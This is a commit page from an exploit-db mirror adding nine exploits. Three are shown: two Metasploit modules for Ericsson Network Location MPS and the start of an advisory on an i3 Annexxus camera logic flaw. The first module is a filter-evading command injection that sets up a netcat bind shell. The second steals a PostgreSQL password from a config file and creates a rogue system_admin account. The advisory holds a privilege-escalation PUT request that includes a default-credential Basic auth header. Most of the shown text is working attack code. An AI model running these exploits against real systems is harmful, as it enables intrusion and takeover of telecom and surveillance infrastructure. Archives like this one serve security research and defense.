bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2021-11-03

Browse source 
9 changes to exploits/shellcodes

Dynojet Power Core 2.3.0 - Unquoted Service Path
Kingdia CD Extractor 3.0.2 - Buffer Overflow (SEH)
YouTube Video Grabber 1.9.9.1 - Buffer Overflow (SEH)
10-Strike Network Inventory Explorer Pro 9.31 - Buffer Overflow (SEH)
Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)
Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit)
Ericsson Network Location MPS GMPC21 - Privilege Escalation (Metasploit)
i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw
Codiad 2.8.4 - Remote Code Execution (Authenticated) (4)
This commit is contained in:
Offensive Security 2021-11-03 05:02:14 +00:00
parent 27af25c8c3
commit 7e3fa43161
10 changed files with 1160 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

313
exploits/multiple/webapps/50468.rb Executable file
View file

@ -0,0 +1,313 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.
The "export" feature in various parts of the application is vulnerable.
It is a feature made for the information in the tables to be exported to the server and imported later when required.
Export operations contain "file_name" parameter.
This parameter is assigned as a variable between the server commands on the backend side.
It allows command injection with preventions bypass operation.
"version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
/////// This 0day has been published at DEFCON29-PHV Village. ///////
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2021-'],
['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],
['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 600,
'RPORT' => 10083,
'SSL' => true,
'PAYLOAD' => 'cmd/unix/bind_netcat'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Ericsson NLG', {}]],
'DisclosureDate' => 'Apr 21 2021',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'NLG Username']),
OptString.new('PASSWORD', [true, 'NLG Password']),
OptString.new('TARGETURI', [true, 'Base path for NLG application', '/'])
]
end
######################################################
#
# There are a total of 20 vulnerable areas.
# These areas are located in cells,psap,numbering,smpp fields.
# One request for each of these fields has been used for exploitation.
# These are listed below.
#
# /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
# /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1
# /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
# /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
#
######################################################
# for Origin and Referer headers
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
def cluster
res = send_request_cgi({
# clusters information to API directories
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
'method' => 'GET'
})
if res && res.code == 200 && res.body =~ /version/
cls_version = split(res.body, "version")
cls_node_type = split(res.body, "node_type")
cls_name = split(res.body, "cluster_name")
cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
return cls_version, cls_node_type, cls_name, cls_id
else
fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
end
end
def permission_check(token)
# By giving numbers to the vulnerable areas, we can easily use them in JSON format.
json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
parse = JSON.parse(json_urls)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i <= 6 do
link = parse["#{i}"]
i +=1
# The cells export operation returns 409 response when frequent requests are made.
# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.
if link == "/cells/gsm/cgi_cells/"
sleep(7)
end
filename = Rex::Text.rand_text_alpha_lower(6)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
if res && res.code == 403 then # !200
next
elsif res && res.code == 200
return link, true
elsif res && res.code == 400
return link, true
elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
return "no link", false
end
end
end
def check
# check connection and login
token = login(datastore['USERNAME'], datastore['PASSWORD'])
res = send_request_cgi({
# product information check
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
if res && res.code == 200 && res.body =~ /version/
version = split(res.body, "version")
pnumber = split(res.body, "product_number")
print_status("Product Number:#{pnumber} - Version:#{version}")
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def login(user, pass)
json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'
res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
'headers' =>
{
'Origin' => "#{peer}"
},
'data' => json_login
})
if res && res.code == 200 && res.body =~ /true/
auth_token = split(res.body, "authToken")
return auth_token
else
fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')
end
end
def prep_payloads(token, link)
fifo = Rex::Text.rand_text_alpha_lower(4)
#/ = 2F - y
#; = 3B - z
#| = 7C - p
#>& = 3E26 - v
#>/ = 3E2F - g
#> = 3E - k
#< = 3C - c
#' = 27 - t
#$ = 24 - d
#\ = 5C - b
#! = 21 - u
#" = 22 - x
#( = 28 - m
#) = 29 - i
#, = 2C - o
#_ = 5F - a
# echo `xxd -r -p <<< 2F`>y
payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '
# echo `xxd -r -p <<< 3B`>z
payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '
#echo `xxd -r -p <<< 7C`>p
payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E26`>v
payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E`>k
payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '
#echo `xxd -r -p <<< 27`>t
payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '
#echo `xxd -r -p <<< 24`>d
payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '
#echo `xxd -r -p <<< 5C`>b
payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '
#echo `xxd -r -p <<< 21`>u
payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '
#echo `xxd -r -p <<< 22`>x
payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '
#echo `xxd -r -p <<< 28`>m
payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '
#echo `xxd -r -p <<< 29`>i
payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '
#echo `xxd -r -p <<< 2C`>o
payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '
#echo `xxd -r -p <<< 5F`>a
payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3C`>c
payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E2F`>g
payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl") +'", '
#echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1
payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl") +'", '
#echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2
payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl") +'", '
#echo `cat p1` `cat p2` > 1.sh
payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl") +'", '
#chmod +x 1.sh
payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", '
#sh 1.sh
payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}'
if link == "/cells/gsm/cgi_cells/"
print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")
end
parse = JSON.parse(payloads)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i <= 21 do
pay = parse["#{i}"]
i +=1
if link == "/cells/gsm/cgi_cells/"
sleep(7)
end
send_payloads(cls_id, cls_node_type, token, link, pay)
end
end
def send_payloads(id, type, token, link, pay)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])
unless true == permission_check(auth_token)[1]
fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')
else
perm_link = permission_check(auth_token)[0]
print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")
end
prep_payloads(auth_token, perm_link)
end
end

350
exploits/multiple/webapps/50469.rb Executable file
View file

@ -0,0 +1,350 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)',
'Description' => %q(
This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.
It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.
Therefore low authority user can gain the authority of "admin" on the application.
You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability.
"version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
/////// This 0day has been published at DEFCON29-PHV Village. ///////
),
'References' =>
[
[ 'CVE', '2021-' ],
[ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ],
[ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
[ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
],
'Author' =>
[
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Apr 21 2021",
'DefaultOptions' =>
{
'RPORT' => 10083,
'SSL' => true
}
))
register_options([
OptString.new('USERNAME', [true, 'NLG Username']),
OptString.new('PASSWORD', [true, 'NLG Password']),
OptString.new('TARGETURI', [true, 'Base path for NLG application', '/'])
])
end
# for Origin and Referer headers
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
def cluster
res = send_request_cgi({
# clusters information to API directories
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
'method' => 'GET'
})
if res && res.code == 200 && res.body =~ /version/
cls_version = split(res.body, "version")
cls_node_type = split(res.body, "node_type")
cls_name = split(res.body, "cluster_name")
cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
return cls_version, cls_node_type, cls_name, cls_id
else
fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
end
end
def permission_check(token)
# By giving numbers to the vulnerable areas, we can easily use them in JSON format.
json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
parse = JSON.parse(json_urls)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i <= 6 do
link = parse["#{i}"]
i +=1
# The cells export operation returns 409 response when frequent requests are made.
# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.
if link == "/cells/gsm/cgi_cells/"
sleep(7)
end
filename = Rex::Text.rand_text_alpha_lower(6)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
if res && res.code == 403 then # !200
next
elsif res && res.code == 200
return link, true
elsif res && res.code == 400
return link, true
elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
return "no link", false
end
end
end
def check
# check connection and login
token = login(datastore['USERNAME'], datastore['PASSWORD'])
res = send_request_cgi({
# product information check
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
if res && res.code == 200 && res.body =~ /version/
version = split(res.body, "version")
pnumber = split(res.body, "product_number")
print_status("Product Number:#{pnumber} - Version:#{version}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def login(user, pass)
json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'
res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
'headers' =>
{
'Origin' => "#{peer}"
},
'data' => json_login
})
if res && res.code == 200 && res.body =~ /true/
auth_token = split(res.body, "authToken")
return auth_token
else
fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')
end
end
def prep_payloads(token, link)
configname = Rex::Text.rand_text_alpha_lower(12)
newuser = Rex::Text.rand_text_alpha_lower(8)
newpass = "PrivEsc0day!"
#/ = 2F - y
#; = 3B - z
#| = 7C - p
#>& = 3E26 - v
#>/ = 3E2F - g
#> = 3E - k
#< = 3C - c
#' = 27 - t
#$ = 24 - d
#\ = 5C - b
#! = 21 - u
#" = 22 - x
#( = 28 - m
#) = 29 - i
#, = 2C - o
#_ = 5F - a
# echo `xxd -r -p <<< 2F`>y
payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '
# echo `xxd -r -p <<< 3B`>z
payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '
#echo `xxd -r -p <<< 7C`>p
payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E26`>v
payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '
#echo `xxd -r -p <<< 3E`>k
payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '
#echo `xxd -r -p <<< 27`>t
payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '
#echo `xxd -r -p <<< 24`>d
payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '
#echo `xxd -r -p <<< 5C`>b
payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '
#echo `xxd -r -p <<< 21`>u
payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '
#echo `xxd -r -p <<< 22`>x
payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '
#echo `xxd -r -p <<< 28`>x
payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '
#echo `xxd -r -p <<< 29`>x
payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '
#echo `xxd -r -p <<< 2C`>x
payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '
#echo `xxd -r -p <<< 5F`>x
payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '
#cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json
payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", '
#echo sed '31843!d' [random-file-name].json > pass1.sh
payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", '
#chmod +x pass1.sh
payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", '
#sh pass1.sh > pass2
payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", '
#cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh
payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl") +'", '
#chmod +x pass3.sh
payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", '
#sh pass3.sh > passlast
#passlast will be pgsql password...
payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", '
#echo PGPASSWORD='`cat passlast`' > sqlq1
payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl") +'", '
#echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2
payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", '
#echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3
payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl") +'", '
#echo ',password,password_expires_at,role)' > sqlq4
payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl") +'", '
#echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5
payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl") +'", '
# echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6
payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl") +'", '
#echo `cat sqlq1` `cat sqlq2``cat sqlq3``cat sqlq4` `cat sqlq5``cat sqlq6` > sqlq7.sh
payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl") +'", '
#chmod +x sqlq7.sh
payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", '
#sh sqlq7.sh
payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}'
if link == "/cells/gsm/cgi_cells/"
print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")
end
parse = JSON.parse(payloads)
cls_id = cluster[3]
cls_node_type = cluster[1]
i = 1
while i <= 31 do
pay = parse["#{i}"]
i +=1
if link == "/cells/gsm/cgi_cells/"
sleep(15)
end
send_payloads(cls_id, cls_node_type, token, link, pay)
if i == 31
check_user(newuser, newpass, link)
end
end
end
def check_user(user, pass, link)
json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}'
if link == "/cells/gsm/cgi_cells/"
print_good("Privilege escalation successful!")
print_good("The new system admin user has been created successfully.")
print_status("New User : #{user}")
print_status("New Pass : #{pass}")
else
res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
'headers' =>
{
'Origin' => "#{peer}"
},
'data' => json_login
})
if res && res.code == 200 && res.body =~ /true/
print_good("Privilege escalation successful!")
print_good("The new system admin user has been created successfully.")
print_status("New User : #{user}")
print_status("New Pass : #{pass}")
else
fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.')
end
end
end
def get_pgsql_pass(config_name)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, config_name),
'method' => 'GET',
'headers' =>
{
'Origin' => "#{peer}"
}
})
parse = JSON.parse(res.body)
pass = parse['AML']
puts pass
end
def send_payloads(id, type, token, link, pay)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"),
'method' => 'GET',
'headers' =>
{
'X-Auth-Token' => token,
'Origin' => "#{peer}"
}
})
end
##
# Exploiting phase
##
def run
auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])
unless permission_check(auth_token)[1] == true
fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')
else
perm_link = permission_check(auth_token)[0]
print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")
end
prep_payloads(auth_token, perm_link)
end
end

119
exploits/multiple/webapps/50473.txt Normal file
View file

@ -0,0 +1,119 @@
# Exploit Title: i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw
# Date: 27.10.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.i3international.com
i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw
Vendor: i3 International Inc.
Product web page: https://www.i3international.com
Affected version: V5.2.0 build 150317 (Ax46)
V5.0.9 build 151106 (Ax68)
V5.0.9 build 150615 (Ax78)
Summary: The Annexxus camera 6MP provides 4 simultaneous,
independently controlled digital pan-tilt-zoom (ePTZ) video
streams, which may be recorded or viewed live as well as a
built-in microphone and speaker allowing two way communication.
Desc: The application doesn't allow creation of more than one
administrator account on the system. This also applies for
deletion of the administrative account. The logic behind this
restriction can be bypassed by parameter manipulation using
dangerous verbs like PUT and DELETE and improper server-side
validation. Once a normal account with 'viewer' or 'operator'
permissions has been added by the default admin user 'i3admin',
a PUT request can be issued calling the 'UserPermission' endpoint
with the ID of created account and set it to 'admin' userType,
successfully adding a second administrative account.
Tested on: App-webs/
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5688
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php
27.10.2021
--
Make user ID 3 an Administrator:
--------------------------------
PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1
Host: 192.168.1.1
Content-Length: 556
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
